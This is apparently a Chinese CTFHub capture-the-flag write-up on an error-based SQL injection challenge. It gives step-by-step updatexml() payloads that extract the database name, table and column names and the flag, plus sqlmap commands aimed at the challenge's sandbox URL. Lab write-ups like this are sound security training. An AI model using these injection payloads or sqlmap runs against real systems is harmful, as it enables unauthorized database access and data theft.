CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
2501_948195345 小时前
RN for OpenHarmony英雄联盟助手App实战:主导航实现
数据库
Filotimo_5 小时前
N+1查询问题
数据库·oracle
wdfk_prog5 小时前
[Linux]学习笔记系列 -- hashtable
linux·笔记·学习
fenglllle7 小时前
spring-data-jpa saveall慢的原因
数据库·spring·hibernate
DarkAthena7 小时前
【GaussDB】执行索引跳扫时如果遇到该索引正在执行autovacuum,可能会导致数据查询不到
数据库·gaussdb
短剑重铸之日8 小时前
《7天学会Redis》Day 5 - Redis Cluster集群架构
数据库·redis·后端·缓存·架构·cluster
007php0078 小时前
mySQL里有2000w数据,Redis中只存20w的数据,如何保证Redis中的数据都是热点数据
数据库·redis·git·mysql·面试·职场和发展·php
lkbhua莱克瓦248 小时前
进阶-存储过程3-存储函数
java·数据库·sql·mysql·数据库优化·视图
深情的小陈同学8 小时前
工作学习笔记 —— 支持手机端的添加表单行操作
笔记·学习·ai编程